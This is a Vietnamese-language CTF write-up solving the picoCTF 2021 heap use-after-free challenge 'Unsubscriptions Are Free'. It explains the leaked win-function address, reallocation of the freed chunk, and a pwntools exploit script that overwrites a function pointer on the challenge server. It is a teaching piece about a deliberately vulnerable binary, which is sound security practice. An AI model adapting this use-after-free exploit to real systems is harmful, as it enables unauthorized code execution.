Page cover

🥞Heap(UAF) - Unsubscriptions Are Free - picoCTF2021

Challenge

Script

Hàm main()

Hàm printMenu()

Hàm processInput()

Option i()

Phần này có 1 free

Option p không có gì cần quan tâm cả

Option s()

Phần này leak cho ta địa chỉ của hàm hahae...

Option L:

Phần này cho ta đọc vào 8 bytes

Option M:

Phần này mình thấy không liên quan lắm nên không quan tâm

Solution

Set 3 breakpoint tại đây

rồi debug lần lượt.

Trước tiên ở main có 1 hàm malloc:

Free nó để ta có thể tiến hành ghi đè lên chunk cũ
Dùng option l để allocation lại chunk vừa được free
Dùng vis ngay tại thời điểm đó bạn có thể thấy
next qua malloc bạn lập tức nhận được 1 chunk mới nhưng vẫn là địa chỉ cũ.

Bây giờ bạn chỉ cần ghi đè lên chunk này và khi hàm doProcess(user) được gọi thì nó sẽ lấy phần giá trị vừa được ghi vào này. Kết hợp với địa chỉ hàm hahae... được leak bên trên ta có thể tiến hành tấn công bằng kĩ thuật Ret2Win

Phần tôi bôi xanh là phần metadata của chunk và phần bôi vàng là userdata.
Nhìn đây thì ta cần biết rằng ghi địa chỉ để lấy flag nằm ở đâu

Payload

from pwn import *
elf = context.binary = ELF("./vuln")
r = elf.process()
r = remote("mercury.picoctf.net", 6312)
###############
#  Addr leak  #
###############
r.sendline(b"s")
r.recvuntil(b"leak...")
hahae = int(r.recvline(),16)
log.success(f"Hahae...: {hex(hahae)}")
###########
#   UAF   #
###########
r.sendline(b"i")
r.sendline(b"y")
r.sendline(b"l")
r.sendlineafter(b"ways:\n",p32(hahae))
r.interactive()

Last updated